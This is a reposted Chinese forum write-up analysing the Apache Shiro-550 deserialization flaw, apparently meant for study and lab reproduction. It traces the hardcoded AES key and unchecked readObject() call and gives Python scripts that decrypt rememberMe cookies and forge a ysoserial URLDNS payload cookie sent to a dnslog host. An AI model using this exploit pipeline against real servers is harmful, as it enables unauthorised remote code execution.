安全矩阵

 找回密码
 立即注册
搜索
查看: 2405|回复: 0

Java反序列化漏洞分析(一)-Shiro550

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-5-28 19:17:36 | 显示全部楼层 |阅读模式
原文链接:Java反序列化漏洞分析(一)-Shiro550
0x01 前言
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为550的issue 中爆出严重的Java反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
Apache Shiro是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
Shiro的“记住我”功能是设置cookie中的rememberMe值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
  • 检索cookie中RememberMe的值
  • Base64解码
  • 使用AES解密
  • 反序列化

漏洞原因在于第三步,在Apache Shiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造RememberMe的值,然后让其反序列化执行。
只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞。
0x02 环境搭建首先下载源码,并切换有漏洞的版本
git clone https://github.com/apache/shiro.git  cd shirogit checkout shiro-root-1.2.4

修改samples/web/pom.xml,支持jsp

        Run
        Edit Configurations
        添加TomcatServer(Local)
        Server中配置Tomcat路径
        Deployment中添加Artifact
        选择sample-web:war exploded

这里若要使用burpsuite,注意端口不要和bp冲突

然后运行即可
0x03 代码分析根据 https://issues.apache.org/jira/browse/SHIRO-550 描述

这是几个重要的点:
  • 检索RememberMe cookie的值
  • Base64解码
  • 使用AES解密
  • 使用Java序列化(ObjectInputStream)反序列化。

3.1 rememberMe cookie先来瞧瞧这个cookie,进入登录界面,在登录时,勾选Remember Me
rememberMe=+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU
使用Base64解码存储为二进制文件
#!/usr/bin/python3# -*- coding:utf-8 -*-# @Author : yhyimport base64import structrememberMe = '+3nYB8HVKgNT9ewnrYDz2kMZA2QhOJucwaUx76IB0ya4ZesDlsfmreeeZ1ngxazK7jEsPKIWkxfdBfVEhPI+fiKqfyV0+tH4U+RcWPwITXq4NgY415Edvbb7Wmx6j+KW6C7RaEMf6A9ib8KvOwZizhXUw8d87EyaXpPd6RzJghoOJJoq7hP4gxLv1L5i9u1EZriLjUcnfaufS5R3jevlVgpYAMhuDWK8m9/lJZvK/IWm4/5RAmiDQEirwB8r57x/tZ71fs7baFXOZVueN/V7dJv8ySJP+ozQ/cy3bcx6+ZgF/MJvn4e5nLtM01u8jgg1rTk7fW+0jt61Znq1mq0BNnzAraTZg+0pSU36+aCiolYLh82BX/jJHweu9COVUyONKrXBcm8mPOz0vO8Kjq581OmACdiQgC1kI6qHrr+GloO0xlk4MJZiVzzYm5YdGkgDOPNGO2Lfh4U5hmprEzlf+5/7zwKILsMtOVrqZG5AXXW1XKTch62gq7jAWAXBmyIU'rememberMe_64 = base64.b64decode(rememberMe)f = open("rememberMe", 'wb')f.write(rememberMe_64)
内容如下:
上述内容中并没有在初探Java反序列化漏洞(一)中提到过的序列化的数据流以魔术数字和版本号AC ED 00 05 等字样。这是因为上述关键步骤中提到了AES解密,所以需要去跟一下源码。
3.2 Shiro 500 中的 AES 解密在IDEA中ctrl+shift+f 全局搜索AES
在src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java中找到了
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==") 就是我们要找的硬编码密钥,因为AES是对称加密,即加密密钥也同样是解密密钥。
然后看看shiro是怎么处理解密的,向下看,找到
  1.     /**
  2.      * Decrypts the byte array using the configured {@link #getCipherService() cipherService}.
  3.      *
  4.      * @param encrypted the encrypted byte array to decrypt
  5.      * @return the decrypted byte array returned by the configured {@link #getCipherService () cipher}.
  6.      */
  7.     protected byte[] decrypt(byte[] encrypted) {
  8.         byte[] serialized = encrypted;
  9.         CipherService cipherService = getCipherService();
  10.         if (cipherService != null) {
  11.             ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
  12.             serialized = byteSource.getBytes();
  13.         }
  14.         return serialized;
  15.     }
复制代码


函数名decrypt,显而易见,是处理解密的,cipherService是一个接口,调用了其中的decrypt解密方法,需要两个变量encrypted(被加密的数组) 和 getDecryptionCipherKey()(获取解密秘钥),前面说了AES是对称加密,即加密密钥也同样是解密密钥。而且从程序中也能看到,确实是同一个,通过在该类中查找setDecryptionCipherKey()方法,可以看到
再搜索setCipherKey,可以看到构造方法中传入了DEFAULT_CIPHER_KEY_BYTES也就是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")的值
然后再看一下CipherService这个接口的decrypt的具体实现,ctrl+右键跟进去看看
这只是个接口,全局搜索implements CipherService 发现src/main/java/org/apache/shiro/crypto/JcaCipherService.java实现了CipherService接口,进去看看decrypt方法
简单来看,我们在这里下个断点,发现是CBC模式,并且 iv偏移量的值为 byte[] iv = new byte[16]
利用下面的脚本解密之前base64解码后生成的rememberMe文件得到decrypt.bin文件
  1. # pip install pycrypto
  2. import sys
  3. import base64
  4. from Crypto.Cipher import AES
  5. def decode_rememberme_file(filename):
  6.     with open(filename, 'rb') as fpr:
  7.         key  =  "kPH+bIxk5D2deZiIxcaaaA=="
  8.         mode =  AES.MODE_CBC
  9.         IV   = b' ' * 16
  10.         encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
  11.         remember_bin = encryptor.decrypt(fpr.read())
  12.     return remember_bin
  13. if __name__ == '__main__':
  14.     with open("decrypt.bin", 'wb+') as fpw:
  15.         fpw.write(decode_rememberme_file(sys.argv[1]))
复制代码




这是 Java 序列化的标志,说明解密成功
3.3 反序列化看看解密之后的操作,回到src/main/java/org/apache/shiro/mgt/AbstractRememberMeManager.java类中,看看,从哪里调用了decrypt函数,
在convertBytesToPrincipals这里解密之后,执行了反序列化deserialize,进去瞅瞅


通过获取getSerializer()来调用反序列化,再看看SetSerializer


  1. src/main/java/org/apache/shiro/io/DefaultSerializer.java
复制代码





这里使用的是默认反序列化类,没有任何检验,readobject()触发反序列化!


0x04 漏洞探测现在我们知道了shiro550在获取到rememberMe cookie的值后,通过硬编码的KEY kPH+bIxk5D2deZiIxcaaaA==进行AES解密,解密完成之后直接调用默认的反序列化的readobject()方法,没有经过任何的校验。
具体的 Payload 也就呼之欲出了,将payload通过AES加密伪造rememberMe cookie,我们通过刚才的解密流程知道shiro550采用的CBC模式、byte[] iv = new byte[16], 通过脚本伪造,利用ysoserial.jar 神器生成URLDNS探测的payload进行探测(shiro550自带来commons-collections3.2.1,关于commons-collections的相关漏洞,后续分析)
  1. # -*-* coding:utf-8
  2. # @Time    :  2020/10/16 17:36
  3. # @Author  : nice0e3
  4. # @FileName: poc.py
  5. # @Software: PyCharm
  6. # @Blog    :https://www.cnblogs.com/nice0e3/
  7. import base64
  8. import uuid
  9. import subprocess
  10. from Crypto.Cipher import AES


  11. def rememberme(command):
  12.     popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
  13.                              stdout=subprocess.PIPE)
  14.     BS = AES.block_size
  15.     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  16.     key = "kPH+bIxk5D2deZiIxcaaaA=="
  17.     mode = AES.MODE_CBC
  18.     iv = b' ' * 16
  19.     encryptor = AES.new(base64.b64decode(key), mode, iv)
  20.     file_body = pad(popen.stdout.read())
  21.     base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  22.     return base64_ciphertext


  23. if __name__ == '__main__':
  24.     # 替换dnslog
  25.     payload = rememberme('http://5fzd8f.dnslog.cn')
  26.     with open("payload.cookie", "w") as fpw:

  27.         print("rememberMe={}".format(payload.decode()))
  28.         res = "rememberMe={}".format(payload.decode())
  29.         fpw.write(res)
复制代码


运行生成
  1. rememberMe=Y3M07legS/64hNfAmb+zfY1Ch/sXxGbop7rMR3YgWuFwTmdZEGj1q0oaHMowhUpUopo4XNjBkIDbn+w4Zhq0QO+9GXX4+hZA67NiM5U6sXcxtxLZCdlRB4JlrT8JrtTs+OyejDVh2HXLgI29lmMSDVoVW5OV3EHISFbFS+MmQv6JGqt60OZHxw6y1uhwYcWiRZ2kqGwDbNE/Xj+vNA1/5CdvnElY3jVvo8YJ8Suy8zznVuMlR2OsjksaHel8dXoUSXRiTAsMnn0SJIqKm7KI98YqTQaSn4F7VnEqaaNyciQwgOoOV/MphOWjVcTWsEDgdUjT5WgI+pJSZpX9JIo1XT75SPpWkiIw9Sseptaor5fsPMPNuk/lf5bWSpnwFTlTUuClsDJbOXjgvcew77i9tw==
复制代码


替换打成功
其实一开始是失败的,shiro550自带的包是commons-collections3.2.1,原生情况下直接用ysoserial打,是不会成功的,其他文章在pom.xml中直接添加了
commons-collections4的包,才可以顺畅复现。至于为啥原生的3.2.1不能触发漏洞,以及可不可以触发漏洞,下篇文章再分析。
0x05 参考Apache Shiro Java 反序列化漏洞分析 https://blog.knownsec.com/2016/08/apache-shiro-java/
Java安全之Shiro 550反序列化漏洞分析 https://www.anquanke.com/post/id/225442#h3-8
ysoserial https://github.com/frohoff/ysoserial


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 02:30 , Processed in 0.015294 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表